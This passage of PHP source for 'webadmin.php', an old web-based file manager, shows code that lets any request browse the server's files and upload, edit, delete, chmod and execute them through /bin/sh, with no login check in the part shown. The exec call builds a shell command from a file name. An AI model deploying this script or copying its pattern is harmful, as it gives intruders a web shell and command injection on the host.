 * Changes of revision 5
 * <daniel.wacker@web.de>
 *    added language auto select
 *    fixed symlinks in directory listing
 *    removed word-wrap in edit textarea
 *
 * Changes of revision 4
 * <daloan@guideo.fr>
 *    added French translation
 * <anders@wiik.cc>
 *    added Swedish translation
 *
 * Changes of revision 3
 * <nzunta@gabriele-erba.it>
 *    improved Italian translation
 *
 * Changes of revision 2
 * <daniel.wacker@web.de>
 *    got images work in some old browsers
 *    fixed creation of directories
 *    fixed files deletion
 *    improved path handling
 *    added missing word 'not_created'
 * <till@tuxen.de>
 *    improved human readability of file sizes
 * <nzunta@gabriele-erba.it>
 *    added Italian translation
 *
 * Changes of revision 1
 * <daniel.wacker@web.de>
 *    webadmin.php completely rewritten:
 *    - clean XHTML/CSS output
 *    - several files selectable
 *    - support for windows servers
 *    - no more treeview, because
 *      - webadmin.php is a >simple< file manager
 *      - performance problems (too much additional code)
 *      - I don't like: frames, java-script, to reload after every treeview-click
 *    - execution of shell scripts
 *    - introduced revision numbers
 *
/* ------------------------------------------------------------------------- */

/* Your language:
 * 'en' - English
 * 'de' - German
 * 'fr' - French
 * 'it' - Italian
 * 'nl' - Dutch
 * 'se' - Swedish
 * 'sp' - Spanish
 * 'dk' - Danish
 * 'tr' - Turkish
 * 'cs' - Czech
 * 'ru' - Russian
 * 'auto' - autoselect
 */
$lang = 'en';

/* Charset of output:
 * possible values are described in the charset table at
 * http://www.php.net/manual/en/function.htmlentities.php
 * 'auto' - use the same charset as the words of my language are encoded
 */
$site_charset = 'auto';

/* Homedir:
 * For example: './' - the script's directory
 */
$homedir = './';

/* Size of the edit textarea
 */
$editcols = 80;
$editrows = 25;

/* -------------------------------------------
 * Optional configuration (remove # to enable)
 */

/* Permission of created directories:
 * For example: 0705 would be 'drwx---r-x'.
 */
# $dirpermission = 0705;

/* Permission of created files:
 * For example: 0604 would be '-rw----r--'.
 */
# $filepermission = 0604;

/* Filenames related to the apache web server:
 */
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';

/* ------------------------------------------------------------------------- */

if (get_magic_quotes_gpc()) {
    array_walk($_GET, 'strip');
    array_walk($_POST, 'strip');
    array_walk($_REQUEST, 'strip');
}

if (array_key_exists('image', $_GET)) {
    header('Content-Type: image/gif');
    die(getimage($_GET['image']));
}

if (!function_exists('lstat')) {
    function lstat ($filename) {
        return stat($filename);
    }
}

$delim = DIRECTORY_SEPARATOR;

if (function_exists('php_uname')) {
    $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
    $win = ($delim == '\\') ? true : false;
}

if (!empty($_SERVER['PATH_TRANSLATED'])) {
    $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
    $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
    $scriptdir = getcwd();
} else {
    $scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);

$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;

if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
    $dir = relative2absolute($dir, $_POST['olddir']);
}

$directory = simplify_path(addslash($dir));

$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
    $action = $_POST['action_all'];
    for ($i = 0; $i < $_POST['num']; $i++) {
        if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
            $files[] = $_POST["file$i"];
        }
    }
} elseif (!empty($_REQUEST['action'])) {
    $action = $_REQUEST['action'];
    $files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
    $files[] = $_FILES['upload'];
    $action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
    for ($i = 0; $i < $_POST['num']; $i++) {
        if (array_key_exists("submit$i", $_POST)) break;
    }
    if ($i < $_POST['num']) {
        $action = $_POST["action$i"];
        $files[] = $_POST["file$i"];
    }
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
    $files[] = relative2absolute($_POST['create_name'], $directory);
    switch ($_POST['create_type']) {
    case 'directory':
        $action = 'create_directory';
        break;
    case 'file':
        $action = 'create_file';
    }
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);

if ($lang == 'auto') {
    if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
        $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
    } else {
        $lang = 'en';
    }
}

$words = getwords($lang);

if ($site_charset == 'auto') {
    $site_charset = $word_charset;
}

$cols = ($win) ? 4 : 7;

if (!isset($dirpermission)) {
    $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
    $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}

if (!empty($_SERVER['SCRIPT_NAME'])) {
    $self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
    $self = html(basename($_SERVER['PHP_SELF']));
} else {
    $self = '';
}

if (!empty($_SERVER['SERVER_SOFTWARE'])) {
    if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
        $apache = true;
    } else {
        $apache = false;
    }
} else {
    $apache = true;
}

switch ($action) {

case 'view':

    if (is_script($file)) {

        /* highlight_file is a mess! */
        ob_start();
        highlight_file($file);
        $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
        $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
        ob_end_clean();

        html_header();
        echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';

        for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

        echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';

        html_footer();

    } else {

        header('Content-Type: ' . getmimetype($file));
        header('Content-Disposition: filename=' . basename($file));

        readfile($file);

    }

    break;

case 'download':

    header('Pragma: public');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Content-Type: ' . getmimetype($file));
    header('Content-Disposition: attachment; filename=' . basename($file) . ';');
    header('Content-Length: ' . filesize($file));

    readfile($file);

    break;

case 'upload':

    $dest = relative2absolute($file['name'], $directory);

    if (@file_exists($dest)) {
        listing_page(error('already_exists', $dest));
    } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
        @chmod($dest, $filepermission);
        listing_page(notice('uploaded', $file['name']));
    } else {
        listing_page(error('not_uploaded', $file['name']));
    }

    break;

case 'create_directory':

    if (@file_exists($file)) {
        listing_page(error('already_exists', $file));
    } else {
        $old = @umask(0777 & ~$dirpermission);
        if (@mkdir($file, $dirpermission)) {
            listing_page(notice('created', $file));
        } else {
            listing_page(error('not_created', $file));
        }
        @umask($old);
    }

    break;

case 'create_file':

    if (@file_exists($file)) {
        listing_page(error('already_exists', $file));
    } else {
        $old = @umask(0777 & ~$filepermission);
        if (@touch($file)) {
            edit($file);
        } else {
            listing_page(error('not_created', $file));
        }
        @umask($old);
    }

    break;

case 'execute':

    chdir(dirname($file));

    $output = array();
    $retval = 0;
    exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);

    $error = ($retval == 0) ? false : true;

    if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');

    if ($error) {
        listing_page(error('not_executed', $file, implode("\n", $output)));
    } else {
        listing_page(notice('executed', $file, implode("\n", $output)));
    }

    break;

case 'delete':

    if (!empty($_POST['no'])) {
        listing_page();
    } elseif (!empty($_POST['yes'])) {

        $failure = array();
        $success = array();

        foreach ($files as $file) {
            if (del($file)) {
                $success[] = $file;
            } else {
                $failure[] = $file;
            }
        }

        $message = '';
        if (sizeof($failure) > 0) {
            $message = error('not_deleted', implode("\n", $failure));
        }
        if (sizeof($success) > 0) {
            $message .= notice('deleted', implode("\n", $success));
        }

        listing_page($message);

    } else {

        html_header();

        echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';

        request_dump();

        echo "\t<b>" . word('really_delete') . '</b>
    <p>
';

        foreach ($files as $file) {
            echo "\t" . html($file) . "<br />\n";
        }

        echo '    </p>
    <hr />
    <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
    <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';

        html_footer();

    }

    break;

case 'rename':

    if (!empty($_POST['destination'])) {

        $dest = relative2absolute($_POST['destination'], $directory);

        if (!@file_exists($dest) && @rename($file, $dest)) {
            listing_page(notice('renamed', $file, $dest));
        } else {
            listing_page(error('not_renamed', $file, $dest));
        }

    } else {

        $name = basename($file);

        html_header();

        echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
    <input type="hidden" name="action" value="rename" />
    <input type="hidden" name="file" value="' . html($file) . '" />
    <input type="hidden" name="dir" value="' . html($directory) . '" />
    <b>' . word('rename_file') . '</b>
    <p>' . html($file) . '</p>
    <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
    <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
    <hr />
    <input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

        html_footer();

    }

    break;

case 'move':

    if (!empty($_POST['destination'])) {

        $dest = relative2absolute($_POST['destination'], $directory);

        $failure = array();
        $success = array();

        foreach ($files as $file) {
            $filename = substr($file, strlen($directory));
            $d = $dest . $filename;
            if (!@file_exists($d) && @rename($file, $d)) {
                $success[] = $file;
            } else {
                $failure[] = $file;
            }
        }

        $message = '';
        if (sizeof($failure) > 0) {
            $message = error('not_moved', implode("\n", $failure), $dest);
        }
        if (sizeof($success) > 0) {
            $message .= notice('moved', implode("\n", $success), $dest);
        }

        listing_page($message);

    } else {

        html_header();

        echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

        request_dump();

        echo "\t<b>" . word('move_files') . '</b>
    <p>
';

        foreach ($files as $file) {
            echo "\t" . html($file) . "<br />\n";
        }

        echo '    </p>
    <hr />
    ' . word('destination') . ':
    <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
    <input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

        html_footer();

    }

    break;

case 'copy':

    if (!empty($_POST['destination'])) {

        $dest = relative2absolute($_POST['destination'], $directory);

        if (@is_dir($dest)) {

            $failure = array();
            $success = array();

            foreach ($files as $file) {
                $filename = substr($file, strlen($directory));
                $d = addslash($dest) . $filename;
                if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
                    $success[] = $file;
                } else {
                    $failure[] = $file;
                }
            }

            $message = '';
            if (sizeof($failure) > 0) {
                $message = error('not_copied', implode("\n", $failure), $dest);
            }
            if (sizeof($success) > 0) {
                $message .= notice('copied', implode("\n", $success), $dest);
            }

            listing_page($message);

        } else {

            if (!@file_exists($dest) && @copy($file, $dest)) {
                listing_page(notice('copied', $file, $dest));
            } else {
                listing_page(error('not_copied', $file, $dest));
            }

        }

    } else {

        html_header();

        echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

        request_dump();

        echo "\n<b>" . word('copy_files') . '</b>
    <p>
';

        foreach ($files as $file) {
            echo "\t" . html($file) . "<br />\n";
        }

        echo '    </p>
    <hr />
    ' . word('destination') . ':
    <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
    <input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

        html_footer();

    }

    break;

case 'create_symlink':

    if (!empty($_POST['destination'])) {

        $dest = relative2absolute($_POST['destination'], $directory);

        if (substr($dest, -1, 1) == $delim) $dest .= basename($file);

        if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);

        if (!@file_exists($dest) && @symlink($file, $dest)) {
            listing_page(notice('symlinked', $file, $dest));
        } else {
            listing_page(error('not_symlinked', $file, $dest));
        }

    } else {

        html_header();

        echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
    <td style="vertical-align: top">' . word('destination') . ': </td>
    <td>
        <b>' . html($file) . '</b><br />
        <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
        <label for="checkbox_relative">' . word('relative') . '</label>
        <input type="hidden" name="action" value="create_symlink" />
        <input type="hidden" name="file" value="' . html($file) . '" />
        <input type="hidden" name="dir" value="' . html($directory) . '" />
    </td>
</tr>
<tr>
    <td>' . word('symlink') . ': </td>
    <td>
        <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
        <input type="submit" value="' . word('create_symlink') . '" />
    </td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

        html_footer();

    }

    break;

case 'edit':

    if (!empty($_POST['save'])) {

        $content = str_replace("\r\n", "\n", $_POST['content']);

        if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
            listing_page(notice('saved', $file));
        } else {
            listing_page(error('not_saved', $file));
        }

    } else {

        if (@is_readable($file) && @is_writable($file)) {
            edit($file);
        } else {
            listing_page(error('not_edited', $file));
        }

    }

    break;

case 'permission':

    if (!empty($_POST['set'])) {

        $mode = 0;
        if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
        if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
        if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;

        if (@chmod($file, $mode)) {
            listing_page(notice('permission_set', $file, decoct($mode)));
        } else {
            listing_page(error('permission_not_set', $file, decoct($mode)));
        }

    } else {

        html_header();

        $mode = fileperms($file);

        echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

    <p style="margin: 0">' . phrase('permission_for', $file) . '</p>

    <hr />

    <table id="permission">
    <tr>
        <td></td>
        <td style="border-right: 1px solid black">' . word('owner') . '</td>
        <td style="border-right: 1px solid black">' . word('group') . '</td>
        <td>' . word('other') . '</td>
    </tr>
    <tr>
        <td style="text-align: right">' . word('read') . ':</td>
        <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
        <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
        <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
    </tr>
    <tr>
        <td style="text-align: right">' . word('write') . ':</td>
        <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
        <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
        <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
    </tr>
    <tr>
        <td style="text-align: right">' . word('execute') . ':</td>
        <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
        <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
        <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
    </tr>
    </table>

    <hr />

    <input type="submit" name="set" value="' . word('set') . '" />

    <input type="hidden" name="action" value="permission" />
    <input type="hidden" name="file" value="' . html($file) . '" />
    <input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

        html_footer();

    }

    break;

default:

    listing_page();

}

/* ------------------------------------------------------------------------- */

function getlist ($directory) {
    global $delim, $win;

    if ($d = @opendir($directory)) {

        while (($filename = @readdir($d)) !== false) {

            $path = $directory . $filename;

            if ($stat = @lstat($path)) {

                $file = array(
                    'filename'    => $filename,
                    'path'        => $path,
                    'is_file'     => @is_file($path),
                    'is_dir'      => @is_dir($path),
                    'is_link'     => @is_link($path),
                    'is_readable' => @is_readable($path),
                    'is_writable' => @is_writable($path),
                    'size'        => $stat['size'],
                    'permission'  => $stat['mode'],
                    'owner'       => $stat['uid'],
                    'group'       => $stat['gid'],
                    'mtime'       => @filemtime($path),
                    'atime'       => @fileatime($path),
                    'ctime'       => @filectime($path)
                );

                if ($file['is_dir']) {
                    $file['is_executable'] = @file_exists($path . $delim . '.');
                } else {
                    if (!$win) {
                        $file['is_executable'] = @is_executable($path);
                    } else {
                        $file['is_executable'] = true;
                    }
                }

                if ($file['is_link']) $file['target'] = @readlink($path);

                if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
                if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));

                $files[] = $file;

            }

        }

        return $files;

    } else {
        return false;
    }

}

function sortlist ($list, $key, $reverse) {

    $dirs = array();
    $files = array();
    
    for ($i = 0; $i < sizeof($list); $i++) {
        if ($list[$i]['is_dir']) $dirs[] = $list[$i];
        else $files[] = $list[$i];
    }

    quicksort($dirs, 0, sizeof($dirs) - 1, $key);
    if ($reverse) $dirs = array_reverse($dirs);

    quicksort($files, 0, sizeof($files) - 1, $key);
    if ($reverse) $files = array_reverse($files);

    return array_merge($dirs, $files);

}

function quicksort (&$array, $first, $last, $key) {

    if ($first < $last) {

        $cmp = $array[floor(($first + $last) / 2)][$key];

        $l = $first;
        $r = $last;

        while ($l <= $r) {

            while ($array[$l][$key] < $cmp) $l++;
            while ($array[$r][$key] > $cmp) $r--;

            if ($l <= $r) {

                $tmp = $array[$l];
                $array[$l] = $array[$r];
                $array[$r] = $tmp;

                $l++;
                $r--;

            }

        }

        quicksort($array, $first, $r, $key);
        quicksort($array, $l, $last, $key);

    }

}

function permission_octal2string ($mode) {

    if (($mode & 0xC000) === 0xC000) {
        $type = 's';
    } elseif (($mode & 0xA000) === 0xA000) {
        $type = 'l';
    } elseif (($mode & 0x8000) === 0x8000) {
        $type = '-';
    } elseif (($mode & 0x6000) === 0x6000) {
        $type = 'b';
    } elseif (($mode & 0x4000) === 0x4000) {
        $type = 'd';
    } elseif (($mode & 0x2000) === 0x2000) {
        $type = 'c';
    } elseif (($mode & 0x1000) === 0x1000) {
        $type = 'p';
    } else {
        $type = '?';
    }

    $owner  = ($mode & 00400) ? 'r' : '-';
    $owner .= ($mode & 00200) ? 'w' : '-';
    if ($mode & 0x800) {
        $owner .= ($mode & 00100) ? 's' : 'S';
    } else {
        $owner .= ($mode & 00100) ? 'x' : '-';
    }

    $group  = ($mode & 00040) ? 'r' : '-';
    $group .= ($mode & 00020) ? 'w' : '-';
    if ($mode & 0x400) {
        $group .= ($mode & 00010) ? 's' : 'S';
    } else {
        $group .= ($mode & 00010) ? 'x' : '-';
    }

    $other  = ($mode & 00004) ? 'r' : '-';
    $other .= ($mode & 00002) ? 'w' : '-';
    if ($mode & 0x200) {
        $other .= ($mode & 00001) ? 't' : 'T';
    } else {
        $other .= ($mode & 00001) ? 'x' : '-';
    }

    return $type . $owner . $group . $other;

}

function is_script ($filename) {
    return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}

function getmimetype ($filename) {
    static $mimes = array(
        '\.jpg$|\.jpeg$'  => 'image/jpeg',
        '\.gif$'          => 'image/gif',
        '\.png$'          => 'image/png',
        '\.html$|\.html$' => 'text/html',
        '\.txt$|\.asc$'   => 'text/plain',
        '\.xml$|\.xsl$'   => 'application/xml',
        '\.pdf$'          => 'application/pdf'
    );

    foreach ($mimes as $regex => $mime) {
        if (eregi($regex, $filename)) return $mime;
    }

    // return 'application/octet-stream';
    return 'text/plain';

}

function del ($file) {
    global $delim;

    if (!file_exists($file)) return false;

    if (@is_dir($file) && !@is_link($file)) {

        $success = false;

        if (@rmdir($file)) {

            $success = true;

        } elseif ($dir = @opendir($file)) {

            $success = true;

            while (($f = readdir($dir)) !== false) {
                if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
                    $success = false;
                }
            }
            closedir($dir);

            if ($success) $success = @rmdir($file);

        }

        return $success;

    }

    return @unlink($file);

}

function addslash ($directory) {
    global $delim;

    if (substr($directory, -1, 1) != $delim) {
        return $directory . $delim;
    } else {
        return $directory;
    }

}

function relative2absolute ($string, $directory) {

    if (path_is_relative($string)) {
        return simplify_path(addslash($directory) . $string);
    } else {
        return simplify_path($string);
    }

}

function path_is_relative ($path) {
    global $win;

    if ($win) {
        return (substr($path, 1, 1) != ':');
    } else {
        return (substr($path, 0, 1) != '/');
    }

}

function absolute2relative ($directory, $target) {
    global $delim;

    $path = '';
    while ($directory != $target) {
        if ($directory == substr($target, 0, strlen($directory))) {
            $path .= substr($target, strlen($directory));
            break;
        } else {
            $path .= '..' . $delim;
            $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
        }
    }
    if ($path == '') $path = '.';

    return $path;

}

function simplify_path ($path) {
    global $delim;

    if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
        $path = realpath($path);
        if (@is_dir($path)) {
            return addslash($path);
        } else {
            return $path;
        }
    }

    $pattern  = $delim . '.' . $delim;

    if (@is_dir($path)) {
        $path = addslash($path);
    }

    while (strpos($path, $pattern) !== false) {
        $path = str_replace($pattern, $delim, $path);
    }

    $e = addslashes($delim);
    $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;

    while (ereg($regex, $path)) {
        $path = ereg_replace($regex, $delim, $path);
    }
    
    return $path;

}

function human_filesize ($filesize) {

    $suffices = 'kMGTPE';

    $n = 0;
    while ($filesize >= 1000) {
        $filesize /= 1024;
        $n++;
    }

    $filesize = round($filesize, 3 - strpos($filesize, '.'));

    if (strpos($filesize, '.') !== false) {
        while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
            $filesize = substr($filesize, 0, strlen($filesize) - 1);
        }
    }

    $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));

    return $filesize . " {$suffix}B";

}

function strip (&$str) {
    $str = stripslashes($str);
}

/* ------------------------------------------------------------------------- */

function listing_page ($message = null) {
    global $self, $directory, $sort, $reverse;

    html_header();

    $list = getlist($directory);

    if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
    if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;

    $list = sortlist($list, $sort, $reverse);

    echo '<h1 style="margin-bottom: 0">webadmin.php</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';

    directory_choice();

    if (!empty($message)) {
        spacer();
        echo $message;
    }

    if (@is_writable($directory)) {
        upload_box();
        create_box();
    } else {
        spacer();
    }

    if ($list) {
        listing($list);
    } else {
        echo error('not_readable', $directory);
    }

    echo '</table>

</form>

';

    html_footer();

}

function listing ($list) {
    global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;

    echo '<tr class="listing">
    <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';

    column_title('filename', $sort, $reverse);
    column_title('size', $sort, $reverse);

    if (!$win) {
        column_title('permission', $sort, $reverse);
        column_title('owner', $sort, $reverse);
        column_title('group', $sort, $reverse);
    }

    echo '    <th class="functions">' . word('functions') . '</th>
</tr>
';

    for ($i = 0; $i < sizeof($list); $i++) {
        $file = $list[$i];

        $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
        $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
        $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);

        echo '<tr class="listing">
    <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
    <td class="filename" title="' . html($timestamps) . '">';

        if ($file['is_link']) {

            echo '<img src="' . $self . '?image=link" alt="link" /> ';
            echo html($file['filename']) . ' → ';

            $real_file = relative2absolute($file['target'], $directory);

            if (@is_readable($real_file)) {
                if (@is_dir($real_file)) {
                    echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
                } else {
                    echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
                }
            } else {
                echo html($file['target']);
            }

        } elseif ($file['is_dir']) {

            echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
            if ($win || $file['is_executable']) {
                echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
            } else {
                echo html($file['filename']);
            }
            echo ' ]';

        } else {

            if (substr($file['filename'], 0, 1) == '.') {
                echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
            } else {
                echo '<img src="' . $self . '?image=file" alt="file" /> ';
            }

            if ($file['is_file'] && $file['is_readable']) {
               echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
            } else {
                echo html($file['filename']);
            }

        }

        if ($file['size'] >= 1000) {
            $human = ' title="' . human_filesize($file['size']) . '"';
        } else {
            $human = '';
        }

        echo "</td>\n";

        echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";

        if (!$win) {

            echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';

            $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
            if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
            echo html(permission_octal2string($file['permission']));
            if ($l) echo '</a>';

            echo "</td>\n";

            if (array_key_exists('owner_name', $file)) {
                echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
            } else {
                echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
            }

            if (array_key_exists('group_name', $file)) {
                echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
            } else {
                echo "\t<td class=\"group\">{$file['group']}</td>\n";
            }

        }

        echo '    <td class="functions">
        <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';

        $actions = array();
        if (function_exists('symlink')) {
            $actions[] = 'create_symlink';
        }
        if (@is_writable(dirname($file['path']))) {
            $actions[] = 'delete';
            $actions[] = 'rename';
            $actions[] = 'move';
        }
        if ($file['is_file'] && $file['is_readable']) {
            $actions[] = 'copy';
            $actions[] = 'download';
            if ($file['is_writable']) $actions[] = 'edit';
        }
        if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
            $actions[] = 'execute';
        }

        if (sizeof($actions) > 0) {

            echo '        <select class="small" name="action' . $i . '" size="1">
        <option value="">' . str_repeat(' ', 30) . '</option>
';

            foreach ($actions as $action) {
                echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
            }

            echo '        </select>
        <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
';

        }

        echo '    </td>
</tr>
';

    }

    echo '<tr class="listing_footer">
    <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
    <td colspan="' . ($cols - 1) . '">
        <input type="hidden" name="num" value="' . sizeof($list) . '" />
        <input type="hidden" name="focus" value="" />
        <input type="hidden" name="olddir" value="' . html($directory) . '" />
';

    $actions = array();
    if (@is_writable(dirname($file['path']))) {
        $actions[] = 'delete';
        $actions[] = 'move';
    }
    $actions[] = 'copy';

    echo '        <select class="small" name="action_all" size="1">
        <option value="">' . str_repeat(' ', 30) . '</option>
';

    foreach ($actions as $action) {
        echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
    }

    echo '        </select>
        <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
    </td>
</tr>
';

}

function column_title ($column, $sort, $reverse) {
    global $self, $directory;

    $d = 'dir=' . urlencode($directory) . '&';

    if ($sort == $column) {
        if (!$reverse) {
            $r = '&reverse=true';
            $arr = ' ∧';
        } else {
            $arr = ' ∨';
        }
    } else {
        $r = '';
    }
    echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";

}

function directory_choice () {
    global $directory, $homedir, $cols, $self;

    echo '<tr>
    <td colspan="' . $cols . '" id="directory">
        <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
        <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
        <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
    </td>
</tr>
';

}

function upload_box () {
    global $cols;

    echo '<tr>
    <td colspan="' . $cols . '" id="upload">
        ' . word('file') . ':
